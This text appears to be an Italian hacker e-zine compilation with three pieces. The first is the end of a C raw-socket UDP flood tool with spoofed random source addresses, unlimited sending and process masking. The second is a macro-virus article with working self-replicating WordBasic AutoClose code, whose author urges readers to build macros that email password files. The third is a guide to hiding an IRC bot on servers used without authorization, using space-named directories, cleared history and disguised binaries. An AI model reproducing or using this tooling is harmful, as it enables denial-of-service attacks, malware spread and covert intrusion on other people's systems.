case 'w':
wait = atoi(optarg);
break;
case 'o':
srcport = atoi(optarg);
break;
case 'f':
forknum = atoi(optarg);
break;
default:
usage(argv[0]);
}
if (!stealth)
stealth = Default_Stealth;
if (!forknum)
forknum = Default_Fork;
if (!argv[optind]) {
printf("\n\n%s[%s*%s]%s Bzzzt .. We need a Place for the Packets to
Go%s\n",DC,W,DC,DR,RESTORE);
exit(EXIT_FAILURE);
}
target = (char *) malloc(strlen(argv[optind]));
if (!target) {
printf("\n\n%s[%s*%s]%s Unable to Allocate Required Amount of Memory for
Task%s\n",DC,W,DC,DR,RESTORE);
perror("malloc");
exit(EXIT_FAILURE);
}
strcpy(target, argv[optind]);
}
int cloaking(int argc, char *argv[])
{
int x;
for (x = argc-1; x >= 0; x--)
memset(argv[x], 0, strlen(argv[x]));
strcpy(argv[0],stealth);
return(0);
}
/* [Send Packet] */
void main(int argc, char *argv[])
{
int q, xx, sen, i, unlim = 0, sec_check;
char *packet;
banner();
if (argc < 2)
usage(argv[0]);
parse_args(argc, argv);
cloaking(argc, argv);
resolvedest();
printf("\n\n%s [%s*%s]%s Target Host%s
%s%s\n",DC,W,DC,DR,DC,DW,target,RESTORE);
if (!srchost)
printf("%s [%s*%s]%s Source Host%s
:%s
Random%s\n",DC,W,DC,DR,DC,DW,RESTORE);
else
printf("%s [%s*%s]%s Source Host%s
:%s
%s\n",DC,W,DC,DR,DC,DW,srchost,RESTORE);
if (!numpacks)
printf("%s [%s*%s]%s Number%s
:%s
Infinite%s\n",DC,W,DC,DR,DC,DW,RESTORE);
else
printf("%s [%s*%s]%s Number%s
:%s
%d%s\n",DC,W,DC,DR,DC,DW,numpacks,RESTORE);
if (!psize)
printf("%s [%s*%s]%s Packet Size%s
:%s
bytes%s\n",DC,W,DC,DR,DC,DW,Packet_Max,RESTORE);
else
printf("%s [%s*%s]%s Packet Size%s
:%s
%d%s\n",DC,W,DC,DR,DC,DW,psize,RESTORE);
if (!wait)
printf("%s [%s*%s]%s Wait Time%s
:%s
%dms%s\n",DC,W,DC,DR,DC,DW,Frequency_Max,RESTORE);
:%s
%s
1 - %d
0 -
else
printf("%s [%s*%s]%s Wait Time%s
:%s
%d%s\n",DC,W,DC,DR,DC,DW,wait,RESTORE);
if (!dstport)
printf("%s [%s*%s]%s Destination Port%s
:%s
Random%s\n",DC,W,DC,DR,DC,DW,RESTORE);
else
printf("%s [%s*%s]%s Destination Port%s
:%s
%d%s\n",DC,W,DC,DR,DC,DW,dstport,RESTORE);
if (!srcport)
printf("%s [%s*%s]%s Source Port%s
:%s
Random%s\n",DC,W,DC,DR,DC,DW,RESTORE);
else
printf("%s [%s*%s]%s Source Port%s
:%s
%d%s\n",DC,W,DC,DR,DC,DW,srcport,RESTORE);
printf("%s [%s*%s]%s Backgrounded%s
:%s
%d%s\n",DC,W,DC,DR,DC,DW,forknum,RESTORE);
if (!stealth)
printf("%s [%s*%s]%s Masked As%s
:%s
%s%s\n",DC,W,DC,DR,DC,DW,Default_Stealth,RESTORE);
else
printf("%s [%s*%s]%s Masked As%s
:%s
%s%s\n",DC,W,DC,DR,DC,DW,stealth,RESTORE);
if (forknum) {
switch(fork()) {
case -1:
printf("%s [%s*%s]%s Your OS cant Make the fork() call as we need
it",DC,W,DC,DR,RESTORE);
printf("%s [%s*%s]%s This is usually an indication of something
bad%s",DC,W,DC,DR,RESTORE);
exit(1);
case 0:
break;
default:
forknum--;
for(xx=0;xx<forknum;xx++){
switch(fork()){
case -1:
printf("%s [%s*%s]%s Unable to fork%s\n",DC,W,DC,DR,RESTORE);
printf("%s [%s*%s]%s This is usually an indication of something
bad%s",DC,W,DC,DR,RESTORE);
exit(1);
case 0:
xx=forknum;
break;
default:
}
}
}
}
if(xx==forknum-1){
printf("%s [%s*%s]%s
exit(0);
}
break;
Process Backgrounded%s\n",DC,W,DC,DR,RESTORE);
sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) +
psize);
ip = (struct iphdr *) packet;
udp = (struct udphdr *) (packet + sizeof(struct iphdr));
memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + psize);
if (!numpacks) {
unlim++;
numpacks++;
}
if (srchost && *srchost)
ip->saddr = resolve(srchost);
ip->daddr = dst;
ip->version = 4;
ip->ihl = 5;
ip->ttl = 255;
ip->protocol = IPPROTO_UDP;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + psize);
ip->check = in_cksum(ip, sizeof(struct iphdr));
udp->source = htons(srcport);
udp->dest = htons(dstport);
udp->len = htons(sizeof(struct udphdr) + psize);
/*
* Because we like to be Original Seeding rand() with something as
* unique as time seemed groovy. Lets have a loud Boo for Pattern
* Loggers.
*/
srand(time(0));
for (i = 0; i < numpacks; (unlim) ? i++, i-- : i++) {
if (!srchost)
ip->saddr = rand();
if (!dstport)
udp->dest = htons(rand()%Port_Max+1);
if (!srcport)
udp->source = htons(rand()%Port_Max+1);
if (!psize)
udp->len = htons(sizeof(struct udphdr) + rand()%Packet_Max);
}
}
if (sendto(sen, packet, sizeof(struct iphdr) +
sizeof(struct udphdr) + psize,
0, (struct sockaddr *) &dstaddr,
sizeof(struct sockaddr_in)) == (-1)) {
printf("%s[%s*%s]%s Error sending Packet%s",DC,W,DC,DR,RESTORE);
perror("SendPacket");
exit(EXIT_FAILURE);
}
if (!wait)
usleep(rand()%Frequency_Max);
else
usleep(wait);
-------------------------Taglia qui----------------------------------------Se non dovesse funzionare, non credo, mandatemi un e-mail che attraverso
il vostro ip vi formatto l'hard disk (e pensare ci sono persone che credono
a queste fesserie, ihihihih).
------->T0rment0<------ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
\\\\\\\\\\\\\\\\\\\\\\
Macro-virus
\\\\\\\\\\\\\\\\\\\\\\\
Nel Dicembre del 1994, gli utenti di AOL e di Internet
facevano molta attenzione quando aprivano la loro e-mail.
Questo perche' allora si parlava molto di un'e-mail chiamata Goodtimes.
Se uno di questi apriva la posta,il loro PC veniva subito infettato
da un virus. Molti esperti schernirono molto la possibilita'.
Dopo tutto, esso prendeva un eseguibile capace di trasmettere il virus.
Gli utenti del DOS furono afflissi con le ANSI bombs
(un file di testo che quando veniva visto dal comando TYPE cambiava
la configurazione della loro tastiera).Dopo le investigazioni,
il GoodTimes virus fu giudicato uno scherzo. ma c'e' altro
nella storia?
C'e' qualche rischio di una propagazione di virus attraverso l'e-mail
che usa degli oggetti nascosti (MIME o OLE, per esempio).
Un'applicazione nascosta che contiene un virus o un cavallo di troia
potrebbe essere spedita in un messaggio di posta elettronica,
e quando viene eseguita, infette o reca dei danni al sistema.
I programmi di posta elettronica che eseguono automaticamente degli
oggetti nascosti in un messaggio ricevuto
(come avviare un file sonoro, mostrare un'immagine, o avviare un applicazione)
e' un rischio per le mail anonime con virus.
Mentre qualche esperto di sicurezza considera il potenziale di
un documento basato su virus, i virus che vengono mandati attraverso e-mail
tendono ad aumentare.
Questo articolo vuole mostrarvi la teoria per creare un macro-virus
realizzato con Micro$oft Word, i concetti di un macro-virus, il potenziale,
la sua funzione e come sbarazzarsene.
Macro-Virus
Mentre i creatori di virus si sono concentrati sul codice che lavora
al livello del sistema operativo, essi hanno creato applicazioni.
Molti programmi di lavoro, per esempio un word processor o un programma
di data-base, vengono facilmente potenziati da macro linguaggi.
Molte applicazioni hanno la possibilita' di autoeseguire le macro.
Questa combinazione fa avere dei seri problemi all'utente che apre
un file non sapendo che si tratti di un macro-virus
Da ora in poi i documenti con macro-virus li indichero' con la sigla
DMV (Documents Macro Virus) per descrivere questo tipo di codice malizioso.
Queste sono le caratteristiche del DMV:
Il DMV e' scritto nel linguaggio macro di un'applicazione.
Esso sfrutta l'abilita' di auto-eseguire dentro un applicazione
la macro in qualche evento, come l'apertura o la chiusura di un documento.
Una volta eseguito il documento sull'obbiettivo, la macro cresce
e puo' infettare parecchi file, soprattutto se e' un trojan.
Diversamente da un virus normale o un trojan dove il codice risiede in un
eseguibile, un DMV usa le sue applicazioni come intermediarie per eseguire
il codice.
i DMV sono estremamente semplici da creare. Molti linguaggi macro sono
dei BASIC avanzati, alla faccia( beh insomma) di quelli che imparano
l'assembler per creare virus. Molti linguaggi macro hanno la possibilita'
di implementare nel codice delle chiamate a delle routine esterne
(per esempio le funzioni che sono in una dll), questo significa che puo'
essere facilmente esteso per creare macro-virus avanzati.
Se costruiremo un macro-virus lo dovremmo fare in Visual Basic Per Applicazioni,
visto che sotto windows, e' uno dei linguaggi piu' comuni.
Uno dei vantaggi del DMV e' che gli antivirus non li riescono a
riconoscere visto che non sono degli eseguibili.
Ci sono molti tipi di virus che possono essere scritti, tutto sta alla vostra
fantasia. Per esempio:
Infettare con un virus (ovvio) - Cancellare i file dall'hard disk (solo per
necessita')
· Rinominare file · Copiare file dal pc-target ad un server(ihihih) Mandare file dal suo hard disk alla tua e-mail attraverso MAPI (Windows) - ecc.
ecc.
Notate che queste operazioni non si fanno solo dal Word, ma da qualsiasi
applicazione che supporta le macro automatiche.
Come lavora un DMV di Word
Microsoft Word per Windows usa un linguaggio macro chiamato WordBasic.
Esso supporta anche una serie di macro automatiche. Se la macro ha un nome
riservato, esso esegue automaticamente un evento specifico. Per esempio:
Nome della macro
AutoExec
AutoNew
AutoOpen
AutoClose
AutoExit
Quando parte?
Quando
Quando
Quando
Quando
Quando
fai partire Word
crei un nuovo documento
apri un documento
chiudi un documento
esci da Word
Word per Windows memorizza le macros, come suo unico stile :-P, in un documento
temporaneo (file .DOT ). Le macro globali vengono memorizzate in un file
chiamato NORMAL.DOT.
Se per esempio creiamo una macro chiamata AutoClose, il Word
va a verificare se e' presente in NORMAL.DOT.
Se non e' presente, esso si copia da solo in NORMAL.DOT.
Se e' presente, esso non infettera' il file.
Una volta che NORMAL.DOT sara' infetto, ogni qualvolta che chiuderemo un
documento in Word
la macro sara' eseguita.
Word memorizza solo le macro in un documento temporaneo. Tu non puoi addare
una macro ad un normale documento Word(.DOC). Questo fa in modo
di disabilitare un DMV virus dagli altri documenti.
Pero' c'e' una soluzione, un file di word .DOT e' molto simile
come formato ad un file .DOC . Questi due hanno lo stesso aspetto e
funzionalita'
quando sono aperti in Word. In poche parole, potremo rinominare un file .dot
con l'estensione .DOC.
Per infettare gli altri documenti, la macro, che noi avremmo messo in
NORMAL.DOT,
guardera' il corrente documento per vedere se esso e' gia' stato infettato
con la macro. Se non e' infettato, a macro salvera'il file come un documento
temporaneo.
A questo punto la macro si copiera' da sola nel documento.
Dunque il file sara' .DOC , ma sara' un DOT rinominato.
Un DMV per Word e' molto semplice. Esso usa i comandi macros tandard
per propagare un virus.
Come creare un DMV
Per mostrarvi che non bisogna alterare un file .doc per creare una macro,
vi spieghero' come farlo:
1. Create una macro chiamata AutoClose
2. Salvatela nel file NORMAL.DOT (default).
3. Andate in un file manager e copiate NORMAL.DOT in TEST.DOT.
4. Scegliete una macro dal menu Strumenti
5. Cancellate l' AutoClose macro da NORMAL.DOT.
6. Aprite TEST.DOT (esso sara' vuoto).
7. Scrivete qualcosa per farlo apparire un normale documento e salvatelo
8. Rinominate test.dot in TEST.DOC.
9. Aprite TEST.DOC con il Word. Quando chiuderete il documento, la macro sara'
eseguita.
Rimuovere un DMV di Word
Cio' e' molto facile. Avviate Word e
- Se il file infetto e' aperto, scegliete il comando MACRO dal menu Strumenti.
Cancellate la macro dal documento e da normal.dot
- Se il file non e' aperto, scegliete il comando
Cancellate la macro AutoClose da NORMAL.DOT.
Macro nel menu File.
Proteggersi dai DMV
L'unica corrente applicazione contro i DMV e' aprire il file per vedere
se e' presente una macro, visto che e' scritta in ascii.
Ogni macro automatica e' facilmente rintracciata scegliendo il comando Macro
dal menu Strumenti in Word.
La Micro$oft suggerisce di tenere premuto il tasto SHIFT quando si fa partire
il Word o di aggiungere l'opzione /m quando si avvia il word.
Conclusioni
Insomma i DMV rappresentano un buo metodo per propagare virus e trojan.
Vista la sua semplicita', molte persone diventeranno dei Virus Writing :-)
Ora vi presento la macro di cui vi parlavo prima scritta in Basic da
Joel McNamara, l'AutoClose.
Fate buon uso delle informazioni che avete acquisito (macche') e se siete
particolarmente bravi con il Basic e Visual Basic vi usciranno macro
moooolto interessanti. Appena ne fate una utile (tipo una che quando
viene aperto un documento vi senda, implementando il winsock, il file
delle password attraverso e-mail) contattatemi che mi rubo le vostre idee
(naaahh) Vabbe' cmq ci vediamo.
Codice di un DMV
REM
REM
REM
REM
REM
This demonstrates an application-specific document virus
generated by an automatic macro in Microsoft Word for
Windows 6.0. Code is executed each time a document is closed.
This macro is only a demonstration, and does not perform any
destructive actions.
REM
REM
REM
REM
REM
REM
The purpose of this code is to reveal a significant security
risk in software that supports macro languages with
auto-loading capabilities. Current virus detection tools are
not presently capable of detecting this type of virus, and
most users are blissfully unaware that threats can come from
documents.
REM
REM
REM
REM
REM
REM
Paste this code in the macro Window of a Word document
template. Save the macro as AutoClose. Enter some random
text in the main word processing window and save the document.
Now copy the file, naming the new file VIRUS.DOC. Open
VIRUS.DOC in Word. It will appear as a normal document, but
when you close the document, the virus will execute.
REM Message boxes display progress as the code is executed.
REM Code is commented.
REM Joel McNamara, December 17, 1994
REM ----------------------------------------------Sub MAIN
title$ ="Document Macro Virus"
MsgBox "Counting global macros.", title$, 16
REM check how many macros are globally available.
total = CountMacros(0)
present = 0
REM Check and see if the AutoClose macro is installed in global.
If total > 0 Then
For cycle = 1 To total
If MacroName$(cycle, 0) = "AutoClose" Then
MsgBox "AutoClose macro vir. is already installed in NORMAL.DOT.", title$, 16
present = 1
End If
End If
REM Get the current document name.
a$ = WindowName$() + ":AutoClose"
REM If AutoClose isn't present, then copy it to NORMAL.DOT.
If present <> 1 Then
MacroCopy a$, "Global:AutoClose"
MsgBox "Infected NORMAL.DOT with copy of AutoClose macro virus.", title$, 16
REM The following code infects a document each time it is closed.
REM This effectively spreads the macro virus each time an infected
REM document is opened by Word.
Else
REM
REM
REM
REM
If AutoClose is already global and the file hasn't been
infected yet, save the current file as a
template instead of a document so the macro can be
attached.
REM See if AutoClose is already in the document. Don't need
REM to check names because the virus would be the only code
REM putting a macro in a document.
present = 0
If CountMacros(1) <> 0 Then
MsgBox "AutoClose macro virus already present in this document.", title$, 16
present = 1
End If
REM Save the document as a template.
If present = 0 Then
FileSaveAs .Format = 1
MsgBox "Saved current document as template.", title$, 16
REM Then copy the AutoClose macro from NORMAL.DOT.
MacroCopy "Global:AutoClose", a$
MsgBox "Infected current doc. with copy of AutoClose macro vir.", title$, 16
End If
End If
REM
REM
REM
REM
After the document or NORMAL.DOT has been infected, then
execute the following macro code (this could be destructive,
such as a Kill command, invasive, such as a Connect and
CopyFile command, or harmless, with no malacious intent).
MsgBox "Macro vir. has been spread. Now execute some other code.", title$, 16
End Sub
T0rment0
[email protected]
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°°°°°°°°°°°°°°°°°°°ÛÛ°°°ÛÛÛÛÛÛÛÛ°°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°°°°°°°°°°°°ÛÛ°°°ÛÛ°°°°ÛÛ°°°ÛÛ°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°°°°°°°°°°°°ÛÛ°°°ÛÛÛÛÛÛÛÛ°°°ÛÛ°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°°°°°°°°°°°°ÛÛ°°°ÛÛ°ÛÛÛ°°°°°ÛÛ°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°°°°°°°°°°°°ÛÛ°°°ÛÛ°°ÛÛÛÛ°°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°°°°°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³COME PIAZZARE UN BOT-to SENZA FARCELO SALTARE³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
dISCLAIMEr:
===========
Mi assumo ogni responsabilita' legale e morale che derivi dall'uso
proprio o imporpio di cio' che verra' detto in questo scritto; inoltre,
vi incoraggio tutti a inventare di meglio per raggiungere lo Scopo:
INFORMATION WANTS TO BE FREE. Diventate Hacker, producete Hacker.
iNTRODUZIONe:
=============
Sono ben lieto di poter collaborare, se pur concisamente, alla realizzazione di questa e-zine. Per questo che voglio ringraziare pubblicamente lo zio Nobody. Sono un recente 'smanettino', nel senso che non ho
mai avuto il tempo per approfondire l'hacking. Bazzico tra un modem
e l'altro da circa 10 anni. Chi conosce la PNet forse si ricordera' dello
Zio Sciack. Comunque non ha importanza. :-)) Ora iniziamo...
Inizialmente mi avevano chiesto di scrivere un articolo su come NASCONDERE
un eggdrop; ma a motivo di una maggiore chiarezza di questa trattazione, ho
preferito includere una parte per ricordare anche come lo si installa. Spero
che per questo non mene voglia il collega che ha precedentemente trattato
l'argomento (Jack!!).
cOS'E` UN BOt?:
===============
Molto semplicemente con il termine BOT si definisce, abbreviandolo,
un altro termine, cioe' ROBOT, quindi, un automatismo, un programma che fa
per voi quello che dovreste fare voi ma che forse, non POTETE fare, per
una serie di ovvi motivi, vedi ad esempio gli alti costi di connessione
(grazie telecoz!), oppure per il semplice fatto di non possere a casa
una linea CDN dedicata che permetta al vostro computer di starsene on-line
tutto il giorno [lo sapevate che in canada costa 30$ al mese una cdn?].
>>>>>>>>
vedi http://www.notut.org
<<<<<<<<<<
Abbiamo quindi detto che il BOT e' un nostro programmino che ci aiuta
a svolgere dei compiti quando noi non possiamo essere li' a farli o per
altre semplici comodita'. Come saprete gia', quindi, il loro massimo impiego
lo hanno all'interno delle famose rete di chatting, quali ad esempio IRCNet;
ovviamente per mantenere attivo un proprio canale, ma non solo per quello...
Vediamo!
eGGDROp:
========
Eccolo qui! E' lui! E' il BOT! O meglio, e' UN bOt; si', perche' ce
ne sono tanti, addirittura ne ho provato uno semplice semplice fatto
da un italiano, si chiama Megalobot (se non sbaglio?!). Noi pero' ci
concentreremo sulla messa in opera dell'eggdrop. Non perche' sia piu'
semplice, anzi (RedXIII, McFly: che ne dite, eh??), ma piuttosto perche'
e' il piu' utilizzato, quello con piu' possibilita' di personalizzazione,
e SOPRATTUTTO quello che gira sul maggior numero di O.S. (slurp!)
Di eggdrop ce ne sono diverse versioni. "Embe', basta piazzarci
l'ultima versione, no?". Diremo di no. "Ehy, ma perche'? A me piace
essere un tipo aggiornato?". Continueremo a dire di no. Infatti
ho notato che ogni versione di eggdrop non solo fa qualche passo
in avanti nel senso di eliminare qualche bug ma, purtroppo, cambia
anche a livello di script (poi spiegheremo meglio); questo significa che
uno script scritto per eggdrop 1.1.5 non funzionera' piu' con un'altra
versione dello stesso eggdrop. Non che il problema sia insormontabile ma,
dato che [si' lo confesso], non ho avuto il tempo di studiarmi bene
il nuovo eggdrop 1.3.x, allora in questa trattazione prenderemo in
considerazione la versione 1.1.5. Che comunque ha anche il pregio di essere
disponibile in diverse versioni, anche precompilate, per altrettanti O.S.
l'OBIETTIVo:
=============
Prima di cominciare dobbiamo porci il nostro obbiettivo, o nostro
target. Che vogliamo fare? Poter installare un BOT per mantenere aperto
e gestire gli op del canale #hackit [esiste gia' e vi invito caldamente
a farci visita]. Ma non solo, vorremmo anche far si' che ci resti, o meglio,
che nessuno osi a cancellarcelo. Questo si rende necessario allorche' il
nostro bel BOTtino e' piazzato su di un server senza la debita
autorizzazione
del sysadmin ( !superflua! :-). Tanto quale hacker metterebbe mai
un BOT su di una shell a pagamento? Giammai! eheh :-))
Comunque se ancora non avete una shell vi consiglio di trovarvela
al piu' presto. Se proprio siete disperati forse potreste trovare
questo sito interessante, anche se non garantisco:
>>>>>>>>> http://. (scusatemi ma si e' cancellato il bookmark!!) <<<<<<<<<<
....ma preferibilmente bucate gente, bucate e bucate!
iNSTALLAZIONe:
==============
Ora passiamo alla vera e propria messa in scena del nostro bel programmino.
Prima di tutto dobbiamo avere la shell, come detto precedentemente, funzante
e stabilire quale O.S. vi sta girando. Nei sistemi unix bastera' digitare
quanto segue:
...shell#] uname -a
Linux sciacknet 2.2.6 #4 SMP Sat Apr 17 19:07:26 CEST 1999 i586 unknown
...shell#]
Questo ovviamente, come avrete notato, e' l'output di uname sulla mia
macchina. Sappiamo cosi' che O.S. sta girando, Linux, e che versione
del kernel, la 2.2.6! (si' a me piace essere aggiornato [8-)]
Bene, a questo punto non ci resta che scegliere se installare una
versione precompilata (solo l'eseguibile) oppure (se abbiamo la possibilita'
di compilare e quindi fare uso di gcc (o cc), make, autoconf, etc...)
utilizzare una versione in formato sorgente da compilarci con comodo sul
nostro caro serverino. In ogni modo abbiamo bisogno di questo indirizzo:
>>>>>>>>>>> http://indirizzo (IDEM COME SOPRA...hihi:-) <<<<<<<<<<<<<<<<
Nel caso abbiamo scelto per motivi di gioco-forza di installare
la versione precompilata possiamo passare dunque alla prossima sezione di
questa trattazione. Invece se vogliamo installare la nostra versione di
eggdrop 1.1.5 e compilarla in remoto dovremo procedere in questo senso:
1) Procurarci il file eggdrop1.1.5.tar.gz (vedi sito sopra)
2) Collegarci al sito remoto via ftp e uploadarci il nostro .gz
(se siete sotto unix consiglio IglooFtp... ci potete piazzare
pure il proxy per nascondervi)/ Oppure potete una volta che
siete entrati nella 'vostra' (sigh!) shell, fare un ftp
specificando il sito dove si trovare eggdrop e quindi scaricarvelo
direttamente da li'. Boh.. fate voi.. l'importante e' che non lasciate
VOSTRE tracce! (ricordatevi unset history.. bla bla bla.. ok?)
3) Posizionarci in una dir dove avete l'accesso in scrittura
ad esempio: /tmp (tutti gli user possono scriverci) oppure
la dir /home/nome_user.
4) Farci una dir moolto sicura e nascosta. Io consiglio:
[email protected]:~# cd /tmp
[email protected]:/tmp# mkdir ". "
<--- due spazi
[email protected]:/tmp# cd ". "
dove ------^ significa dir nascosta
[email protected]:/tmp/.
# tar zxvf /dove/sta/egg/eggdrop1.1.5.tar.gz
5) Entriamo nella dir che verra' creata e lanciamo ./configure
questo permettera' al programma di comprendere su che sistema
sta girando, se Linux, BSD, SunOs, etc...
6) Poi se non abbiamo ricevuto strani errori possiamo finalmente
compilare l'eggdrop dando il comando: make eggdrop
7) Infine installiamo il tutto con il prg.: putegg "/tmp/.
"
8) Ora cancelliamo la dir che il tar aveva creato con un
rm -rf eggdrop1.1.5 (beh, prima usciamo dalla directory :-)
9) Rinominiamo il file eseguibile eggdrop (da troppo nell'occhio)
mv eggdrop ". " <-- Stavolta uno spazio solo
10) Cancelliamo tutto cio' che non ci serve.. README, eggdrop.conf,
etc...
11) Piazziamo ora il nostro script, che avremo precedentemente fatto
[vedi sezione apposta], chiamandolo con un nome piuttosto anonimo
p, m, a, rv, etc... oppure, consigliato, ".
" <------ tre spazi
sta volta
12) Se e' tutto ok, allora possiamo lanciare l'eggdrop:
[email protected]:/tmp/.
/# ./". " -m script (p, m, ".
", etc..)
Se e' andato tutto bene allora comparira' una scritta che ci
segnalera' l'avvenuto lancio del nostro eggdrop, in background, e che e'
in attesa di un messaggio in IRC, da parte nostra, per poter stabilire che
siamo noi l'owner (o il proprietario) del BOT. Inoltre ci verra' fornito il
numero di pid (process id). Questo e' estremamente utile se vogliamo, via
telnet,
killare il nostro BOT, bastera' infatti un 'kill -9 num_pid' per 'uccidere' il
nostro BOT. Oppure un kill -HUP num_pid per riavviarlo. Comunque in ogni caso
verra' creato un file nella directory di eggdrop, con un nome di questo genere:
'pid.nome_tuo_bot' nel cui contenuto e' segnato l'ultimo pid assegnato al
programma. Bastera' infatti un semplice cat pid.nome_tuo_bot per, se
eventualmente
non ce lo ricordassimo, rievocarci il numero di tale processo.
dAL CLIENT IRc:
===============
Ora che finalmente abbiamo un bel BOTto funzante, possiamo quindi
gestirlo abilmente dal nostro client IRC (BitchX, Kvirc, mIRC, etc).
Come? Per prima cosa dobbiamo dirgli che siamo noi il master
supermo! Allora, per fare questo, dovremmo inviargli un messaggio (solo la
prima volta) deltipo: '/MSG nome_bot hello'.
Dopo poco ci rispondera' il BOT, identificandoci come master e owner
del BOT. A questo punto prima di passare a dare comandi, abbiamo bisogno di
impostare una 'password di sicurezza'. Faremo questo con il seguente comando:
'/MSG nome_bot PASS nostra_password'.
Ora il momento (finalmente!) di passare in dcc/chat e 'parlare'
direttamente con il nostro amato BOT, grazie alla cosiddetta party
line. Inseriamo la password e ci troveremo faccia a faccia con il
'bambino', si' proprio bambino...perche' ORA gli dovremo insegnare
proprio a vivere.. a capire.. a FARE!
Come?
.... leggetevi la documentazione !! Ehehe :-)) Oppure se ne riparla
in un prossimo articolo :-))
Oppure: http://..............eheh :-))
cONFIGURARE LO SCRIPt:
======================
Lo script dell'eggdrop e' il BOT a tutti gli effetti! E' il cuore
del nostro 'bambino', nello script diciamo come si chiamera' il BOT, che
abitudini avra', quali server irc chiamera', e tanti altri particolari.
Andiamo velocemente a descrivere un classico file di script:
(consiglio: fatelo prima in locale poi scaricatelo sul 'vostro'
server :-))
#!/tmp/. /
# ^^^^^^^^^^--------- Qui ci piazziamo la directory del nostro eggdrop
#
# The Sciack Eggdrop Configuration File
v. 1.1
#
# --->> SOLO ED ESCLUSIVAMENTE PER EGGDROP 1.1.5 <<--#
# NoCopyright 1999 (c) Needed,
# All rights are Free
#
# Questo e' un esempio di file di configurazione per il tuo bot.
#
#####
cOSE GENERALi
#####
# le info che si vedranno quando si usera' il comando /whois
set
set
set
set
nick "^ChiaRa"
altnick "|chiara|"
username "|chiarA|"
realname "La Chiara"
;# bel nome, eh?
;# altro nick, se il primo e' in uso
;# ...boh fate voi ...
# Chi lancia il bot?
set admin "Sciack"
# [0/1] lascia gli utenti presentarsi al bot con un semplice 'hello'?
# E' utile. Per aggiungere altri utenti al bot.
set learn-users 1
# Invece di usare un semplice 'hello' si puo' decidere di cambiare parola
# ......
#unbind msg - hello *msg:hello
#bind msg - mia_parola *msg:hello
#
#
#
#
La lista dei server -- il bot provera' a connettersi ai server della lista
incominciando dall'alto verso il basso.
Ovviamente assicuratevi che i server accettino i login, altrimenti eliminateli
potrebbero far perdere del tempo prezioso al vostro bot
set servers {
irc.stealth.net:6667
irc.cifnet.com:6667
irc.anet.com:6667
irc.webbernet.net:6660
irc.uni-erlangen.de:6667
ircnet.sprynet.com:6667
irc.flashnet.it:5000
irc.ircit.net:4040
irc.tin.it:6667
irc.ccii.unipi.it:6666
flute.telstra.net.au:6665
}
yoyo.cc.monash.edu.au:6668
irc.usyd.edu.au:6667
ircnet.idirect.ca:6667
irc.wu-wien.ac.at:6666
irc.dinf.vub.be:6667
irc.span.ch:6667
irc.felk.cvut.cz:6667
irc.fu-berlin.de:6665
irc.uni-stuttgart.de:6665
irc.dknet.dk:6667
irc.estpak.ee:6667
irc.stealth.net:6667
luisvive.euiti.upv.es:6667
irc.cs.hut.fi:6667
irc.eurecom.fr:6667
irc.enst.fr:6667
sil.polytechnique.fr:6667
irc.ee.auth.gr:6666
irc.bme.hu:6667
irc.tau.ac.il:6667
irc.isnet.is:6667
irc.lvnet.lv:6667
irc.nl.net:6663
irc.xs4all.nl:6660
irc.sci.kun.nl:6663
irc.ifi.uio.no:6667
irc.pvv.unit.no:6667
irc.msu.ru:6667
irc.ludd.luth.se:6668
chat.bt.net:6664
ircnet.demon.co.uk:6665
irc.netcom.net.uk:6667
irc.tokyo.wide.ad.jp:6667
irc.silicon.net.my:6667
irc.mol.net.my:6667
ircnet.irc.aol.com:6667
irc.ncal.verio.net:6667
# che porta usare se con .jump non la specifichiamo?
set default-port 6667
# Poco importante, comunque indicate quale rete IRC usate
set network "IRCnet"
# Anche se tutti i server sono 'down' continua a cercare di connettersi?
set never-give-up 1
# Quanti secondi deve aspettare il nostro bot dopo esserci collegato
# prima di iniziare ad essere operativo?
set server-timeout 15
# if the number of servers on the net gets below this number, it will
# jump to a new server (ie, it will assume it's on the losing end of a
# netsplit) -- set to 0 to turn off
# [most irc networks use TS now, so it's to your advantage to turn this off]
set servlimit 0
# Se e' stato impostato il l'altnick come nick a motivo del fatto che era gia'
# in uso, prova a riottenere il proprio nick dopo, ok?
set keep-nick 1
# Abilita gli utenti a salvare una linea di info nel log file?
set use-info 1
